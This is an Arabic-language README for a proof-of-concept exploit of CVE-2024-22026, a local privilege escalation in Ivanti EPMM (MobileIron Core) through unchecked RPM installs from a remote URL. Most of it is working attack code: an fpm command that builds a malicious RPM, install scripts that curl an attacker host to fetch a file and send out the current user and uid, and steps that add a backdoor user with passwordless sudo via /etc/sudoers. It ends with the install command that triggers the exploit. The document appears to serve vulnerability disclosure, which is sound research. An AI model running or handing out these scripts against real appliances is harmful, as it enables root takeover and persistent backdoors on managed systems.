
إثبات مفهوم (POC) لاستغلال ثغرة CVE-2024-22026 التي تؤثر على Ivanti EPMM «MobileIron Core»
إثبات المفهوم (POC) لثغرة CVE-2024-22026 التي تؤثر على Ivanti EPMM "MobileIron Core"

CVE-2024-22026 هي ثغرة تصعيد صلاحيات محلية في إصدارات خادم Ivanti EPMM (المعروف سابقًا باسم MobileIron) الأقدم من 12.1.0.0 و12.0.0.0 و11.12.0.1. تتيح هذه الثغرة لمهاجم محلي الحصول على وصول جذر (root) إلى النظام من خلال استغلال عملية تحديث البرامج باستخدام حزمة RPM خبيثة من عنوان URL بعيد.
اقرأ منشور المدونة الكامل للحصول على معلومات تقنية مفصلة: استغلال CVE-2024-22026: الوصول إلى جذر Ivanti EPMM (MobileIron Core)
أثناء بحثنا، اكتشفنا أن الجهاز يستخدم الأمر التالي لجلب وتثبيت حزم RPM كمستخدم بصلاحيات منخفضة:
install rpm url <remote url>
الأمر أعلاه هو مجرد غلاف CLI للإجراء التالي الذي يتم تنفيذه بصلاحيات الجذر (root):
/bin/rpm -Uvh *.rpm
لا يفرض أمر rpm الأساسي هذا أي تحقق من التوقيعات أو تصفية لعناوين URL، مما يعني أنه يمكن تثبيت أي حزمة RPM. يسمح ذلك للمهاجم بتزوير وتسليم حزمة RPM خبيثة يمكنها اختراق الجهاز.
يُستخدم الأمر التالي لإنشاء حزمة RPM خبيثة:
fpm -s dir -t rpm -n ivanti-privesc -v 13.37 -a i386 --description "Ivanti POC" --maintainer "exploit-poc" --before-install preinstall.sh --after-install postinstall.sh -C .
preinstall.sh)#!/bin/sh
curl -O http://<attacker_IP>/poc
exit 0
postinstall.sh)#!/bin/sh
set -e # Enable strict error checking
# Report back current user and privilege level
CURRENT_USER=$(whoami | base64)
PRIV_LEVEL=$(id -u | base64)
curl http://<attacker_IP>/poc?user=$CURRENT_USER
curl http://<attacker_IP>/poc?priv=$PRIV_LEVEL
# Create a new root user
if ! useradd -s /bin/sh -m exploit-poc; then
echo "Failed to add user 'exploit-poc'" >&2
exit 1
fi
echo "exploit-poc:<redacted_password>" | chpasswd
# Grant root privileges
if ! echo "exploit-poc ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; then
echo "Failed to modify sudoers file" >&2
exit 1
fi
exit 0
لاستغلال الثغرة، سيشغّل المهاجم الأمر التالي في CLI لجلب وتثبيت حزمة RPM الخبيثة:
install rpm url http://<attacker_IP>/ivanti-privesc-13.37-1.i386.rpm
أصدرت Ivanti تصحيحات لمعالجة CVE-2024-22026 في الإصدارات التالية:
هذا المستودع ومحتواه مخصصان لأغراض تعليمية وبحثية فقط. استخدام المعلومات الواردة هنا على مسؤوليتك الخاصة.